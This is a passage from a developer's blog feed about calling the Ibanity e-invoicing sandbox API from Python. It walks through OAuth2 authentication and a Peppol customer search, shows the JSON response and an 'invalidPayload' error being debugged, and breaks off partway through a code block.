&lt;span class="n"&gt;vat_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;BE0010012671&amp;quot;&lt;/span&gt;
&lt;span class="c1"&gt;# The Flowin sandbox contains hard-coded fake data.  Using another reference as&lt;/span&gt;
&lt;span class="c1"&gt;# customerReference will in result a 404&lt;/span&gt;

&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;Accept&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;application/vnd.api+json&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;Authorization&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Bearer &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;access_token&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;Content-Type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;application/vnd.api+json&amp;quot;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;# pprint(headers)&lt;/span&gt;
&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;peppolCustomerSearch&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;# &amp;quot;id&amp;quot;: str(uuid.uuid4()),&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;attributes&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;customerReference&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;eas&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;vat_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="c1"&gt;# &amp;quot;supportedDocumentFormats&amp;quot;: doc_formats&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;data&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;# pprint(data)&lt;/span&gt;
&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;POST &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; returned &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;rv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;pprint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And here is the output:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ python docs/blog/2025/0123.py
Customer search
{&amp;#39;data&amp;#39;: {&amp;#39;attributes&amp;#39;: {&amp;#39;customerReference&amp;#39;: &amp;#39;9925:BE0010012671&amp;#39;,
                         &amp;#39;supportedDocumentFormats&amp;#39;: [{&amp;#39;customizationId&amp;#39;: &amp;#39;urn:cen.eu:en16931:2017#compliant#urn:fdc:peppol.eu:2017:poacc:billing:3.0&amp;#39;,
                                                       &amp;#39;localName&amp;#39;: &amp;#39;Invoice&amp;#39;,
                                                       &amp;#39;profileId&amp;#39;: &amp;#39;urn:fdc:peppol.eu:2017:poacc:billing:01:1.0&amp;#39;,
                                                       &amp;#39;rootNamespace&amp;#39;: &amp;#39;urn:oasis:names:specification:ubl:schema:xsd:Invoice-2&amp;#39;,
                                                       &amp;#39;ublVersionId&amp;#39;: &amp;#39;2.1&amp;#39;},
                                                      {&amp;#39;customizationId&amp;#39;: &amp;#39;urn:cen.eu:en16931:2017#conformant#urn:UBL.BE:1.0.0.20180214&amp;#39;,
                                                       &amp;#39;localName&amp;#39;: &amp;#39;Invoice&amp;#39;,
                                                       &amp;#39;profileId&amp;#39;: &amp;#39;urn:fdc:peppol.eu:2017:poacc:billing:01:1.0&amp;#39;,
                                                       &amp;#39;rootNamespace&amp;#39;: &amp;#39;urn:oasis:names:specification:ubl:schema:xsd:Invoice-2&amp;#39;,
                                                       &amp;#39;ublVersionId&amp;#39;: &amp;#39;2.1&amp;#39;},
                                                      {&amp;#39;customizationId&amp;#39;: &amp;#39;urn:cen.eu:en16931:2017#conformant#urn:UBL.BE:1.0.0.20180214&amp;#39;,
                                                       &amp;#39;localName&amp;#39;: &amp;#39;CreditNote&amp;#39;,
                                                       &amp;#39;profileId&amp;#39;: &amp;#39;urn:fdc:peppol.eu:2017:poacc:billing:01:1.0&amp;#39;,
                                                       &amp;#39;rootNamespace&amp;#39;: &amp;#39;urn:oasis:names:specification:ubl:schema:xsd:CreditNote-2&amp;#39;,
                                                       &amp;#39;ublVersionId&amp;#39;: &amp;#39;2.1&amp;#39;},
                                                      {&amp;#39;customizationId&amp;#39;: &amp;#39;urn:cen.eu:en16931:2017#compliant#urn:fdc:peppol.eu:2017:poacc:billing:3.0&amp;#39;,
                                                       &amp;#39;localName&amp;#39;: &amp;#39;CreditNote&amp;#39;,
                                                       &amp;#39;profileId&amp;#39;: &amp;#39;urn:fdc:peppol.eu:2017:poacc:billing:01:1.0&amp;#39;,
                                                       &amp;#39;rootNamespace&amp;#39;: &amp;#39;urn:oasis:names:specification:ubl:schema:xsd:CreditNote-2&amp;#39;,
                                                       &amp;#39;ublVersionId&amp;#39;: &amp;#39;2.1&amp;#39;},
                                                      {&amp;#39;customizationId&amp;#39;: &amp;#39;urn:cen.eu:en16931:2017#compliant#urn:fdc:nen.nl:nlcius:v1.0&amp;#39;,
                                                       &amp;#39;localName&amp;#39;: &amp;#39;Invoice&amp;#39;,
                                                       &amp;#39;profileId&amp;#39;: &amp;#39;urn:fdc:peppol.eu:2017:poacc:billing:01:1.0&amp;#39;,
                                                       &amp;#39;rootNamespace&amp;#39;: &amp;#39;urn:oasis:names:specification:ubl:schema:xsd:Invoice-2&amp;#39;,
                                                       &amp;#39;ublVersionId&amp;#39;: &amp;#39;2.1&amp;#39;},
                                                      {&amp;#39;customizationId&amp;#39;: &amp;#39;urn:cen.eu:en16931:2017#compliant#urn:fdc:nen.nl:nlcius:v1.0&amp;#39;,
                                                       &amp;#39;localName&amp;#39;: &amp;#39;CreditNote&amp;#39;,
                                                       &amp;#39;profileId&amp;#39;: &amp;#39;urn:fdc:peppol.eu:2017:poacc:billing:01:1.0&amp;#39;,
                                                       &amp;#39;rootNamespace&amp;#39;: &amp;#39;urn:oasis:names:specification:ubl:schema:xsd:CreditNote-2&amp;#39;,
                                                       &amp;#39;ublVersionId&amp;#39;: &amp;#39;2.1&amp;#39;}]},
          &amp;#39;id&amp;#39;: &amp;#39;99988e77-cc4a-4583-bd4a-288095c5566e&amp;#39;,
          &amp;#39;type&amp;#39;: &amp;#39;peppolCustomerSearch&amp;#39;}}
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Okay so far. Now let’s go on.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0123.html</guid><pubDate>Thu, 23 Jan 2025 00:00:00 +0000</pubDate></item><item><title>Playing with Ibanity (continued)</title><link>https://luc.lino-framework.org/blog/2025/0122.html</link><description>&lt;section id="playing-with-ibanity-continued"&gt;
&lt;h1&gt;Playing with Ibanity (continued)&lt;a class="headerlink" href="#playing-with-ibanity-continued" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Wednesday, January 22, 2025&lt;/p&gt;
&lt;p&gt;&lt;a class="reference internal" href="0118.html"&gt;&lt;span class="doc"&gt;Yesterday&lt;/span&gt;&lt;/a&gt; Geoffrey helped me to get a bit more of information:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;errors&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:[{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;code&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;invalidPayload&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;detail&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;The submitted payload could not be parsed.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;meta&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;requestId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;00015ABF903CA9960A01063301BB678FE5E7E08D82DF&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}}]}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;His explanation to this error message is “Well, that we couldn’t parse the
payload. an issue with the syntax. Sadly we can’t see what, because we couldn’t
parse it.”&lt;/p&gt;
&lt;p&gt;But what can be the problem? A blatant syntax problem is unlikely since I
specify the payload as a dictionary and the Python &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;requests&lt;/span&gt;&lt;/code&gt; module converts
this to a stream. I have only the &lt;a class="reference external" href="https://documentation.ibanity.com/einvoicing/1/api/curl#peppol-customer-search-object"&gt;Ibanity API documentation&lt;/a&gt;,
and I cannot see anything that helps me.&lt;/p&gt;
&lt;p&gt;I reduced my script to focus on my problem:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# See https://luc.lino-framework.org/blog/2025/0122.html&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pathlib&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;base64&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;uuid&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pprint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pprint&lt;/span&gt;

&lt;span class="c1"&gt;# Define client ID and secret&lt;/span&gt;
&lt;span class="n"&gt;client_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;69d85961-7d68-474d-9ac2-426fdc71bab8&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;client_secret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;valid_client_secret&amp;quot;&lt;/span&gt;

&lt;span class="c1"&gt;# Define certificate and key file paths&lt;/span&gt;
&lt;span class="n"&gt;cert_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;~/Documents/ibanity/application_&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;client_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;expanduser&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;cert_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cert_dir&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;certificate.pem&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;key_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cert_dir&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;decrypted_private_key.pem&amp;quot;&lt;/span&gt;

&lt;span class="c1"&gt;# Validate if the key and certificate files exist&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;cert_file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Error: Certificate file not found at &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;cert_file&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;key_file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Error: Private key file not found at &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key_file&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Base64 encode client_id and client_secret for Basic Auth&lt;/span&gt;
&lt;span class="n"&gt;client_credentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;client_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;client_secret&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;encoded_credentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client_credentials&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Create an HTTPS session&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Attach client certificate and key to the session&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cert&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cert_file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key_file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Add the Authorization header&lt;/span&gt;
&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;Authorization&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Basic &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;encoded_credentials&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;Content-Type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;application/x-www-form-urlencoded&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# Required for OAuth2 requests&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;https://api.ibanity.com/einvoicing/oauth2/token&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;grant_type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;client_credentials&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Unexpected response status code: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;rv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;access_token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;access_token&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;# Customer search. Check whether my customer exists.&lt;/span&gt;
&lt;span class="c1"&gt;# Belgian participants are registered with the Belgian company number, for which&lt;/span&gt;
&lt;span class="c1"&gt;# identifier 0208 can be used. Optionally, the customer can be registered with&lt;/span&gt;
&lt;span class="c1"&gt;# their VAT number, for which identifier 9925 can be used.&lt;/span&gt;

&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Customer search&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;https://api.ibanity.com/einvoicing/customer-searches&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;eas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;9925&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;vat_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;BE0010012671&amp;quot;&lt;/span&gt;
&lt;span class="c1"&gt;# vat_id = &amp;quot;BE0840559537&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;Accept&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;application/vnd.api+json&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;Authorization&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Bearer &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;access_token&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;Content-Type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;application/x-www-form-urlencoded&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# Required for OAuth2 requests&lt;/span&gt;
    &lt;span class="c1"&gt;# &amp;quot;Content-Type&amp;quot;: &amp;quot;application/vnd.api+json&amp;quot;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;# pprint(headers)&lt;/span&gt;

&lt;span class="n"&gt;doc_formats&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;customizationId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;urn:cen.eu:en16931:2017#compliant#urn:fdc:peppol.eu:2017:poacc:billing:3.0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;localName&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Invoice&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
